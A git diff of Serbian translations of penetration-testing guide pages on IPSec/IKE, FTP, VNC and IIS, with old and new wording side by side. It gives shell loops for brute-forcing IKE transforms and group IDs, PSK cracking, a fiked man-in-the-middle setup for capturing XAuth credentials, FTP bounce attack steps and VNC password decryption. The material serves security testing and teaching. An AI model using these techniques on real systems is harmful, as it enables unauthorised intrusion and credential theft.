## **Pronalaženje važeće transformacije**
|
||||
|
||||
IPSec konfiguracija može biti pripremljena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. **Svaka transformacija** sadrži niz atributa kao što su DES ili 3DES kao **algoritam enkripcije**, SHA ili MD5 kao **algoritam integriteta**, unapred podeljeni ključ kao **tip autentifikacije**, Diffie-Hellman 1 ili 2 kao **algoritam distribucije ključeva** i 28800 sekundi kao **životni vek**.
|
||||
IPSec konfiguracija može biti pripremljena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. **Svaka transformacija** sadrži niz atributa kao što su DES ili 3DES kao **algoritam enkripcije**, SHA ili MD5 kao **algoritam integriteta**, unapred podeljeni ključ kao **tip autentifikacije**, Diffie-Hellman 1 ili 2 kao **algoritam distribucije ključeva** i 28800 sekundi kao **vreme trajanja**.
|
||||
|
||||
Dakle, prva stvar koju treba da uradite je da **pronađete važeću transformaciju**, kako bi server mogao da komunicira sa vama. Da biste to uradili, možete koristiti alat **ike-scan**. Po defaultu, Ike-scan radi u glavnom režimu i šalje paket ka gateway-u sa ISAKMP zaglavljem i jednim predlogom sa **osam transformacija unutar njega**.
|
||||
|
||||
@ -45,7 +45,7 @@ Kao što možete videti u prethodnom odgovoru, postoji polje pod nazivom **AUTH*
|
||||
**Vrednost poslednje linije je takođe veoma važna:**
|
||||
|
||||
- _0 vraćen handshake; 0 vraćen notify:_ To znači da cilj **nije IPsec gateway**.
|
||||
- _**1 vraćen handshake; 0 vraćen notify:**_ To znači da je **cilj konfigurisan za IPsec i spreman je da izvrši IKE pregovaranje, i jedan ili više transformacija koje ste predložili su prihvatljive** (važeća transformacija biće prikazana u izlazu).
|
||||
- _**1 vraćen handshake; 0 vraćen notify:**_ To znači da je **cilj konfigurisan za IPsec i spreman je da izvrši IKE pregovaranje, i jedan ili više transformacija koje ste predložili su prihvatljive** (važa transformacija će biti prikazana u izlazu).
|
||||
- _0 vraćen handshake; 1 vraćen notify:_ VPN gateway-i odgovaraju sa notify porukom kada **nijedna od transformacija nije prihvatljiva** (iako neki gateway-i to ne rade, u tom slučaju bi trebalo pokušati dalju analizu i revidirani predlog).
|
||||
|
||||
Dakle, u ovom slučaju već imamo važeću transformaciju, ali ako ste u 3. slučaju, onda treba da **brute-force-ujete malo da pronađete važeću transformaciju:**
|
||||
@ -54,7 +54,7 @@ Prvo što treba da uradite je da kreirate sve moguće transformacije:
|
||||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
I zatim izvršite brute-force na svakom koristeći ike-scan (ovo može potrajati nekoliko minuta):
|
||||
I zatim izvršite brute-force za svaki koristeći ike-scan (ovo može potrajati nekoliko minuta):
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
@ -110,17 +110,17 @@ Da biste to uradili, preporučujem vam 2 metode:
|
||||
|
||||
### Bruteforcing ID sa ike-scan
|
||||
|
||||
Prvo pokušajte da napravite zahtev sa lažnim ID-jem pokušavajući da prikupite hash ("-P"):
|
||||
Prvo pokušajte da pošaljete zahtev sa lažnim ID-jem pokušavajući da prikupite hash ("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
Ako **nema heša**, onda verovatno ova metoda brute-forcinga će raditi. **Ako se neki heš vrati, to znači da će lažni heš biti poslat nazad za lažni ID, tako da ova metoda neće biti pouzdana** za brute-force ID. Na primer, lažni heš bi mogao biti vraćen (to se dešava u modernim verzijama):
|
||||
Ako **nije vraćen nijedan hash**, onda verovatno ova metoda brute-forcinga će raditi. **Ako je neki hash vraćen, to znači da će lažni hash biti poslat nazad za lažni ID, tako da ova metoda neće biti pouzdana** za brute-force ID. Na primer, lažni hash može biti vraćen (to se dešava u modernim verzijama):
|
||||
|
||||
.png>)
|
||||
|
||||
Ali ako, kao što sam rekao, nema heša, onda bi trebalo da pokušate da brute-force-ujete uobičajena imena grupa koristeći ike-scan.
|
||||
Ali ako, kao što sam rekao, nijedan hash nije vraćen, onda bi trebalo da pokušate da brute-force-ujete uobičajena imena grupa koristeći ike-scan.
|
||||
|
||||
Ovaj skript **će pokušati da brute-force-uje moguće ID-eve** i vratiće ID-eve gde je validan handshake vraćen (to će biti validno ime grupe).
|
||||
Ovaj skript **će pokušati da brute-force-uje moguće ID-e** i vratiće ID-e gde je vraćen validan handshake (to će biti validno ime grupe).
|
||||
|
||||
Ako ste otkrili specifičnu transformaciju, dodajte je u ike-scan komandu. A ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih ne radi ispravno).
|
||||
|
||||
@ -128,25 +128,29 @@ Možete koristiti [rečnik ikeforce](https://github.com/SpiderLabs/ikeforce/blob
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
{% file src="../images/vpnIDs.txt" %}
|
||||
Or use this dict (is a combination of the other 2 dicts without repetitions):
|
||||
|
||||
### Bruteforcing ID sa Ikerom
|
||||
{{#file}}
|
||||
vpnIDs.txt
|
||||
{{#endfile}}
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) takođe koristi **ike-scan** za bruteforce mogućih imena grupa. Prati svoju metodu da **pronađe važeći ID na osnovu izlaza ike-scan**.
|
||||
### Bruteforcing ID with Iker
|
||||
|
||||
### Bruteforcing ID sa ikeforce
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) takođe koristi **ike-scan** za bruteforcing moguće nazive grupa. Prati svoju metodu da **pronađe važeći ID na osnovu izlaza ike-scan**.
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) je alat koji se može koristiti za **bruteforce ID-eva takođe**. Ovaj alat će **pokušati da iskoristi različite ranjivosti** koje bi mogle biti korišćene da **razlikuju između važećeg i nevažećeg ID-a** (mogu imati lažne pozitivne i lažne negativne rezultate, zato preferiram da koristim metodu ike-scan ako je moguće).
|
||||
### Bruteforcing ID with ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) je alat koji se može koristiti za **bruteforce ID-eve takođe**. Ovaj alat će **pokušati da iskoristi različite ranjivosti** koje bi mogle biti korišćene da **razlikuju važeći i nevažeći ID** (mogu imati lažne pozitivne i lažne negativne rezultate, zato preferiram da koristim metodu ike-scan ako je moguće).
|
||||
|
||||
Podrazumevano **ikeforce** će na početku poslati neke nasumične ID-eve da proveri ponašanje servera i odredi taktiku koja će se koristiti.
|
||||
|
||||
- **Prva metoda** je da se bruteforce imena grupa tako što se **traži** informacija **Dead Peer Detection DPD** Cisco sistema (ove informacije server ponovo šalje samo ako je ime grupe tačno).
|
||||
- **Druga metoda** koja je dostupna je da **proverava broj odgovora poslatih na svaki pokušaj** jer ponekad se šalje više paketa kada se koristi tačan ID.
|
||||
- **Treća metoda** se sastoji u **traženju "INVALID-ID-INFORMATION" kao odgovor na neispravan ID**.
|
||||
- Na kraju, ako server ne odgovara na provere, **ikeforce** će pokušati da bruteforce-uje server i proveri da li kada se pošalje tačan ID server odgovara nekim paketom.\
|
||||
Očigledno, cilj bruteforce-a ID-a je da se dobije **PSK** kada imate važeći ID. Zatim, sa **ID** i **PSK** moraćete da bruteforce-ujete XAUTH (ako je omogućen).
|
||||
- **Prva metoda** je da se bruteforce nazivi grupa tako što se **traži** informacija **Dead Peer Detection DPD** Cisco sistema (ove informacije server ponovo šalje samo ako je naziv grupe tačan).
|
||||
- **Druga metoda** koja je dostupna je da **proverava broj odgovora poslatih na svaki pokušaj** jer se ponekad šalje više paketa kada se koristi tačan ID.
|
||||
- **Treća metoda** se sastoji u **traženju "INVALID-ID-INFORMATION" kao odgovor na nevažeći ID**.
|
||||
- Na kraju, ako server ne odgovara na provere, **ikeforce** će pokušati da bruteforce server i proveri da li kada se pošalje tačan ID server odgovara nekim paketom.\
|
||||
Očigledno, cilj bruteforcinga ID-a je da se dobije **PSK** kada imate važeći ID. Tada, sa **ID** i **PSK** moraćete da bruteforce-ujete XAUTH (ako je omogućen).
|
||||
|
||||
Ako ste otkrili specifičnu transformaciju, dodajte je u ikeforce komandu. A ako ste otkrili nekoliko transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih ne funkcioniše ispravno).
|
||||
Ako ste otkrili specifičnu transformaciju, dodajte je u ikeforce komandu. A ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih ne funkcioniše ispravno).
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
@ -175,13 +179,13 @@ psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
## **XAuth**
|
||||
|
||||
**Agresivni način IKE** u kombinaciji sa **Pre-Shared Key (PSK)** se često koristi za **grupnu autentifikaciju**. Ova metoda je dopunjena **XAuth (Proširena autentifikacija)**, koja služi za uvođenje dodatnog sloja **autentifikacije korisnika**. Takva autentifikacija obično koristi usluge kao što su **Microsoft Active Directory**, **RADIUS**, ili slični sistemi.
|
||||
**Agresivni način IKE** u kombinaciji sa **Pre-Shared Key (PSK)** se često koristi za **grupnu autentifikaciju**. Ova metoda je proširena sa **XAuth (Proširena autentifikacija)**, koja služi da uvede dodatni sloj **autentifikacije korisnika**. Takva autentifikacija obično koristi usluge kao što su **Microsoft Active Directory**, **RADIUS**, ili slični sistemi.
|
||||
|
||||
Prelazak na **IKEv2** donosi značajnu promenu gde se **EAP (Prošireni protokol autentifikacije)** koristi umesto **XAuth** za autentifikaciju korisnika. Ova promena naglašava evoluciju u praksama autentifikacije unutar sigurnosnih komunikacionih protokola.
|
||||
Prelazak na **IKEv2** donosi značajnu promenu gde se **EAP (Proširivi protokol autentifikacije)** koristi umesto **XAuth** za autentifikaciju korisnika. Ova promena naglašava evoluciju u praksama autentifikacije unutar sigurnosnih komunikacionih protokola.
|
||||
|
||||
### Lokalna mreža MitM za hvatanje kredencijala
|
||||
|
||||
Tako možete uhvatiti podatke o prijavljivanju koristeći _fiked_ i videti da li postoji neki podrazumevani korisnički naziv (Morate preusmeriti IKE saobraćaj na `fiked` za sniffing, što se može uraditi uz pomoć ARP spoofinga, [više informacija](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked će delovati kao VPN krajnja tačka i uhvatiće XAuth kredencijale:
|
||||
Tako možete uhvatiti podatke o prijavljivanju koristeći _fiked_ i videti da li postoji neki podrazumevani korisnički naziv (Morate preusmeriti IKE saobraćaj na `fiked` za snimanje, što se može uraditi uz pomoć ARP spoofinga, [više informacija](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked će delovati kao VPN krajnja tačka i uhvatiće XAuth kredencijale:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
@ -199,7 +203,7 @@ Ako ste pronašli jednu ili više validnih transformacija, jednostavno ih korist
|
||||
|
||||
## Autentifikacija sa IPSEC VPN-om
|
||||
|
||||
U Kali, **VPNC** se koristi za uspostavljanje IPsec tunela. **Profili** moraju biti smešteni u direktorijumu `/etc/vpnc/`. Možete pokrenuti ove profile koristeći komandu _**vpnc**_.
|
||||
U Kali, **VPNC** se koristi za uspostavljanje IPsec tunela. **profili** moraju biti smešteni u direktorijumu `/etc/vpnc/`. Možete pokrenuti ove profile koristeći komandu _**vpnc**_.
|
||||
|
||||
Sledeće komande i konfiguracije ilustruju proces postavljanja VPN veze sa VPNC:
|
||||
```bash
|
||||
|
@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
**File Transfer Protocol (FTP)** služi kao standardni protokol za prenos datoteka preko računarske mreže između servera i klijenta.\
|
||||
To je **plain-text** protokol koji koristi **novi red karakter `0x0d 0x0a`** tako da ponekad treba da **povežete koristeći `telnet`** ili **`nc -C`**.
|
||||
To je **plain-text** protokol koji koristi **novi redni karakter `0x0d 0x0a`** pa ponekad treba da se **povežete koristeći `telnet`** ili **`nc -C`**.
|
||||
|
||||
**Podrazumevani Port:** 21
|
||||
**Podrazumevani port:** 21
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
21/tcp open ftp
|
||||
```
|
||||
### Veze Aktivne i Pasivne
|
||||
|
||||
U **Aktivnom FTP-u** FTP **klijent** prvo **pokreće** kontrolnu **vezu** sa svog porta N do komandnog porta FTP servera – porta 21. **Klijent** zatim **sluša** port **N+1** i šalje port N+1 FTP serveru. FTP **server** zatim **pokreće** podatkovnu **vezu**, sa **svojeg porta M do porta N+1** FTP klijenta.
|
||||
U **Aktivnom FTP-u** FTP **klijent** prvo **inicira** kontrolnu **vezu** sa svog porta N na komandni port FTP servera – port 21. **Klijent** zatim **sluša** port **N+1** i šalje port N+1 FTP serveru. FTP **server** zatim **inicira** podatkovnu **vezu**, sa **svojeg porta M na port N+1** FTP klijenta.
|
||||
|
||||
Međutim, ako FTP klijent ima podešen vatrozid koji kontroliše dolazne podatkovne veze sa spolja, tada aktivni FTP može biti problem. A, izvodljivo rešenje za to je Pasivni FTP.
|
||||
Međutim, ako FTP klijent ima podešen firewall koji kontroliše dolazne podatkovne veze sa spolja, tada aktivni FTP može biti problem. A, izvodljivo rešenje za to je Pasivni FTP.
|
||||
|
||||
U **Pasivnom FTP-u**, klijent pokreće kontrolnu vezu sa svog porta N do porta 21 FTP servera. Nakon toga, klijent izdaje **passv komandu**. Server zatim šalje klijentu jedan od svojih brojeva portova M. I **klijent** **pokreće** podatkovnu **vezu** sa **svojeg porta P do porta M** FTP servera.
|
||||
U **Pasivnom FTP-u**, klijent inicira kontrolnu vezu sa svog porta N na port 21 FTP servera. Nakon toga, klijent izdaje **passv komandu**. Server zatim šalje klijentu jedan od svojih brojeva portova M. I **klijent** **inicira** podatkovnu **vezu** sa **svojeg porta P na port M** FTP servera.
|
||||
|
||||
Izvor: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
@ -28,7 +28,7 @@ Izvor: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-atta
|
||||
|
||||
## Enumeracija
|
||||
|
||||
### Grabovanje banera
|
||||
### Prikupljanje banera
|
||||
```bash
|
||||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
@ -85,7 +85,7 @@ SIZE
|
||||
STAT
|
||||
#Info about the FTP server (version, configs, status...)
|
||||
```
|
||||
### Anonimni pristup
|
||||
### Anonymous login
|
||||
|
||||
_anonymous : anonymous_\
|
||||
\&#xNAN;_anonymous :_\
|
||||
@ -105,7 +105,7 @@ Ovde možete pronaći lepu listu sa podrazumevanim ftp akreditivima: [https://gi
|
||||
|
||||
### Automated
|
||||
|
||||
Anonimni login i bounce FTP provere se po defaultu izvode pomoću nmap sa **-sC** opcijom ili:
|
||||
Anonimni login i bounce FTP provere se po defaultu izvode pomoću nmap-a sa **-sC** opcijom ili:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
@ -122,7 +122,7 @@ Napomena da ako **web aplikacija** šalje podatke koje kontroliše korisnik **di
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
Ako vaš korisnički nalog/lozinka sadrži posebne karaktere, može se koristiti [sledeća komanda](https://stackoverflow.com/a/113900/13647948):
|
||||
Ako vaš korisnički nalog/lozinka sadrži posebne karaktere, [sledeća komanda](https://stackoverflow.com/a/113900/13647948) može biti korišćena:
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
@ -130,29 +130,29 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`HELP`** Server pokazuje koji su komandi podržani
|
||||
- **`PORT 127,0,0,1,0,80`** Ovo će obavestiti FTP server da uspostavi vezu sa IP 127.0.0.1 na portu 80 (_morate staviti 5. karakter kao "0" i 6. kao port u decimalnom formatu ili koristiti 5. i 6. da izrazite port u heksadecimalnom formatu_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** Ovo će obavestiti FTP server da uspostavi TCP vezu (_označeno sa "2"_) sa IP 127.0.0.1 na portu 80. Ova komanda **podržava IPv6**.
|
||||
- **`HELP`** Server označava koji su komandi podržani
|
||||
- **`PORT 127,0,0,1,0,80`** Ovo će označiti FTP serveru da uspostavi vezu sa IP 127.0.0.1 na portu 80 (_morate staviti 5. karakter kao "0" i 6. kao port u decimalnom formatu ili koristiti 5. i 6. za izražavanje porta u heksadecimalnom formatu_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** Ovo će označiti FTP serveru da uspostavi TCP vezu (_označeno sa "2"_) sa IP 127.0.0.1 na portu 80. Ova komanda **podržava IPv6**.
|
||||
- **`LIST`** Ovo će poslati listu fajlova u trenutnom folderu
|
||||
- **`LIST -R`** Lista rekurzivno (ako server to dozvoljava)
|
||||
- **`APPE /path/something.txt`** Ovo će obavestiti FTP da sačuva podatke primljene iz **pasivne** veze ili iz **PORT/EPRT** veze u fajl. Ako ime fajla postoji, podaci će se dodati.
|
||||
- **`LIST -R`** Lista rekurzivno (ako je dozvoljeno od strane servera)
|
||||
- **`APPE /path/something.txt`** Ovo će označiti FTP da sačuva podatke primljene iz **pasivne** veze ili iz **PORT/EPRT** veze u fajl. Ako ime fajla postoji, podaci će se dodati.
|
||||
- **`STOR /path/something.txt`** Kao `APPE` ali će prepisati fajlove
|
||||
- **`STOU /path/something.txt`** Kao `APPE`, ali ako postoji, neće uraditi ništa.
|
||||
- **`RETR /path/to/file`** Mora se uspostaviti pasivna ili port veza. Tada će FTP server poslati označeni fajl kroz tu vezu
|
||||
- **`REST 6`** Ovo će obavestiti server da sledeći put kada pošalje nešto koristeći `RETR` treba da počne od 6. bajta.
|
||||
- **`TYPE i`** Postavi transfer na binarni
|
||||
- **`PASV`** Ovo će otvoriti pasivnu vezu i obavestiti korisnika gde može da se poveže
|
||||
- **`REST 6`** Ovo će označiti serveru da sledeći put kada pošalje nešto koristeći `RETR` treba da počne od 6. bajta.
|
||||
- **`TYPE i`** Postavi prenos na binarni
|
||||
- **`PASV`** Ovo će otvoriti pasivnu vezu i označiti korisniku gde može da se poveže
|
||||
- **`PUT /tmp/file.txt`** Učitaj označeni fajl na FTP
|
||||
|
||||
.png>)
|
||||
|
||||
## FTPBounce napad
|
||||
|
||||
Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda se može koristiti da obavestite server da želite da se povežete na drugi FTP server na nekom portu. Tada možete koristiti ovo da skenirate koji portovi na hostu su otvoreni preko FTP servera.
|
||||
Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda se može koristiti da se serveru označi da želite da se povežete na drugi FTP server na nekom portu. Tada možete koristiti ovo da skenirate koji portovi na hostu su otvoreni preko FTP servera.
|
||||
|
||||
[**Saznajte ovde kako da zloupotrebite FTP server za skeniranje portova.**](ftp-bounce-attack.md)
|
||||
|
||||
Takođe možete zloupotrebiti ovo ponašanje da naterate FTP server da komunicira sa drugim protokolima. Možete **učitati fajl koji sadrži HTTP zahtev** i naterati ranjivi FTP server da **pošalje to na proizvoljni HTTP server** (_možda da dodate novog admin korisnika?_) ili čak učitati FTP zahtev i naterati ranjivi FTP server da preuzme fajl sa drugog FTP servera.\
|
||||
Takođe možete zloupotrebiti ovo ponašanje da naterate FTP server da komunicira sa drugim protokolima. Možete **učitati fajl koji sadrži HTTP zahtev** i naterati ranjivi FTP server da **pošalje na proizvoljni HTTP server** (_možda da dodate novog admin korisnika?_) ili čak učitati FTP zahtev i naterati ranjivi FTP server da preuzme fajl sa drugog FTP servera.\
|
||||
Teorija je jednostavna:
|
||||
|
||||
1. **Učitajte zahtev (unutar tekstualnog fajla) na ranjivi server.** Zapamtite da ako želite da komunicirate sa drugim HTTP ili FTP serverom morate promeniti linije sa `0x0d 0x0a`
|
||||
@ -164,9 +164,9 @@ Veoma je verovatno da će ovo **izbaciti grešku kao** _**Socket not writable**_
|
||||
|
||||
- Ako šaljete HTTP zahtev, **stavite isti zahtev jedan za drugim** dok ne dobijete **\~0.5MB** barem. Ovako:
|
||||
|
||||
{% file src="../../images/posts.txt" %}
|
||||
{{#file}}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
{{#endfile}}
|
||||
|
||||
- Pokušajte da **napunite zahtev sa "junk" podacima vezanim za protokol** (govoreći o FTP-u možda samo junk komande ili ponavljajući `RETR` instrukciju da dobijete fajl)
|
||||
- Samo **napunite zahtev sa puno null karaktera ili drugih** (podeljenih na linije ili ne)
|
||||
@ -175,7 +175,7 @@ U svakom slučaju, ovde imate [stari primer o tome kako zloupotrebiti ovo da nat
|
||||
|
||||
## Filezilla Server Ranjivost
|
||||
|
||||
**FileZilla** obično **vezuje** na **lokalno** **Administrativnu uslugu** za **FileZilla-Server** (port 14147). Ako možete da kreirate **tunel** sa **vašeg računara** da pristupite ovom portu, možete **povezati** na **njega** koristeći **praznu lozinku** i **napraviti** **novog korisnika** za FTP uslugu.
|
||||
**FileZilla** obično **vezuje** na **lokalno** **Administrativnu uslugu** za **FileZilla-Server** (port 14147). Ako možete da kreirate **tunel** sa **vašeg računara** da pristupite ovom portu, možete **povezati** na **njega** koristeći **praznu lozinku** i **kreirati** **novog korisnika** za FTP uslugu.
|
||||
|
||||
## Konfiguracione datoteke
|
||||
```
|
||||
|
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
**Virtual Network Computing (VNC)** je robusni sistem za deljenje grafičkog radnog stola koji koristi **Remote Frame Buffer (RFB)** protokol za omogućavanje daljinske kontrole i saradnje sa drugim računarom. Sa VNC-om, korisnici mogu besprekorno da interaguju sa daljinskim računarom prenoseći događaje sa tastature i miša u oba pravca. Ovo omogućava pristup u realnom vremenu i olakšava efikasnu daljinsku pomoć ili saradnju preko mreže.
|
||||
**Virtual Network Computing (VNC)** je robusni sistem za deljenje grafičkog radnog stola koji koristi **Remote Frame Buffer (RFB)** protokol za omogućavanje daljinskog upravljanja i saradnje sa drugim računarom. Sa VNC-om, korisnici mogu besprekorno da interaguju sa daljinskim računarom prenoseći događaje sa tastature i miša u oba pravca. Ovo omogućava pristup u realnom vremenu i olakšava efikasnu daljinsku pomoć ili saradnju preko mreže.
|
||||
|
||||
VNC obično koristi portove **5800 ili 5801 ili 5900 ili 5901.**
|
||||
```
|
||||
@ -23,11 +22,11 @@ msf> use auxiliary/scanner/vnc/vnc_none_auth
|
||||
```bash
|
||||
vncviewer [-passwd passwd.txt] <IP>::5901
|
||||
```
|
||||
## Dešifrovanje VNC lozinke
|
||||
## Decrypting VNC password
|
||||
|
||||
Podrazumevana **lozinka se čuva** u: \~/.vnc/passwd
|
||||
Podrazumevani **lozinka je sačuvana** u: \~/.vnc/passwd
|
||||
|
||||
Ako imate VNC lozinku i izgleda enkriptovano (nekoliko bajtova, kao da bi mogla biti enkriptovana lozinka), verovatno je šifrovana sa 3des. Možete dobiti lozinku u čistom tekstu koristeći [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||
Ako imate VNC lozinku i izgleda enkriptovano (nekoliko bajtova, kao da bi mogla biti enkriptovana lozinka), verovatno je šifrovana sa 3des. Možete dobiti čistu lozinku koristeći [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||
```bash
|
||||
make
|
||||
vncpwd <vnc password file>
|
||||
@ -36,11 +35,12 @@ Možete to učiniti jer je lozinka korišćena unutar 3des za enkripciju obični
|
||||
Za **Windows** takođe možete koristiti ovaj alat: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
Ovdje takođe čuvam alat radi lakšeg pristupa:
|
||||
|
||||
{% file src="../images/vncpwd.zip" %}
|
||||
{{#file}}
|
||||
vncpwd.zip
|
||||
{{#endfile}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5900 RFB`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Testirajte ekstenzije izvršnih fajlova:
|
||||
Testirajte ekstenzije izvršnih datoteka:
|
||||
|
||||
- asp
|
||||
- aspx
|
||||
@ -11,12 +11,12 @@ Testirajte ekstenzije izvršnih fajlova:
|
||||
|
||||
## Otkriće interne IP adrese
|
||||
|
||||
Na bilo kojem IIS serveru gde dobijete 302, možete pokušati da uklonite Host header i koristite HTTP/1.0, a unutar odgovora Location header može ukazivati na internu IP adresu:
|
||||
Na bilo kojem IIS serveru gde dobijete 302, možete pokušati da uklonite Host header i koristite HTTP/1.0, a unutar odgovora Location header može vas uputiti na internu IP adresu:
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
```
|
||||
Odgovor koji otkriva internu IP adresu:
|
||||
Odgovor koji otkriva unutrašnju IP adresu:
|
||||
```
|
||||
GET / HTTP/1.0
|
||||
|
||||
@ -27,9 +27,9 @@ Location: https://192.168.5.237/owa/
|
||||
Server: Microsoft-IIS/10.0
|
||||
X-FEServer: NHEXCHANGE2016
|
||||
```
|
||||
## Izvršavanje .config fajlova
|
||||
## Izvršavanje .config datoteka
|
||||
|
||||
Možete otpremiti .config fajlove i koristiti ih za izvršavanje koda. Jedan od načina da to uradite je dodavanje koda na kraj fajla unutar HTML komentara: [Preuzmite primer ovde](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
Možete učitati .config datoteke i koristiti ih za izvršavanje koda. Jedan od načina da to uradite je dodavanje koda na kraj datoteke unutar HTML komentara: [Preuzmite primer ovde](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
||||
Više informacija i tehnika za iskorišćavanje ove ranjivosti [ovde](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
@ -37,7 +37,9 @@ Više informacija i tehnika za iskorišćavanje ove ranjivosti [ovde](https://so
|
||||
|
||||
Preuzmite listu koju sam napravio:
|
||||
|
||||
{% file src="../../images/iisfinal.txt" %}
|
||||
{{#file}}
|
||||
iisfinal.txt
|
||||
{{#endfile}}
|
||||
|
||||
Napravljen je spajanjem sadržaja sledećih lista:
|
||||
|
||||
@ -48,24 +50,24 @@ Napravljen je spajanjem sadržaja sledećih lista:
|
||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||
|
||||
Koristite je bez dodavanja ekstenzije, fajlovi kojima je potrebna već je imaju.
|
||||
Koristite je bez dodavanja ekstenzije, datoteke koje je zahtevaju već je imaju.
|
||||
|
||||
## Putanja Traversal
|
||||
|
||||
### Otkriće izvornog koda
|
||||
### Curjenje izvornog koda
|
||||
|
||||
Proverite celokupni izveštaj na: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
Proverite potpuni izveštaj na: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
> [!NOTE]
|
||||
> Kao sažetak, postoji nekoliko web.config fajlova unutar foldera aplikacije sa referencama na "**assemblyIdentity**" fajlove i "**namespaces**". Sa ovom informacijom je moguće znati **gde se nalaze izvršni fajlovi** i preuzeti ih.\
|
||||
> Iz **preuzetih Dll-ova** takođe je moguće pronaći **nove namespaces** gde treba pokušati da se pristupi i dobije web.config fajl kako bi se pronašle nove namespaces i assemblyIdentity.\
|
||||
> Takođe, fajlovi **connectionstrings.config** i **global.asax** mogu sadržati zanimljive informacije.\\
|
||||
> Kao sažetak, postoji nekoliko web.config datoteka unutar foldera aplikacije sa referencama na "**assemblyIdentity**" datoteke i "**namespaces**". Sa ovom informacijom je moguće znati **gde se nalaze izvršne datoteke** i preuzeti ih.\
|
||||
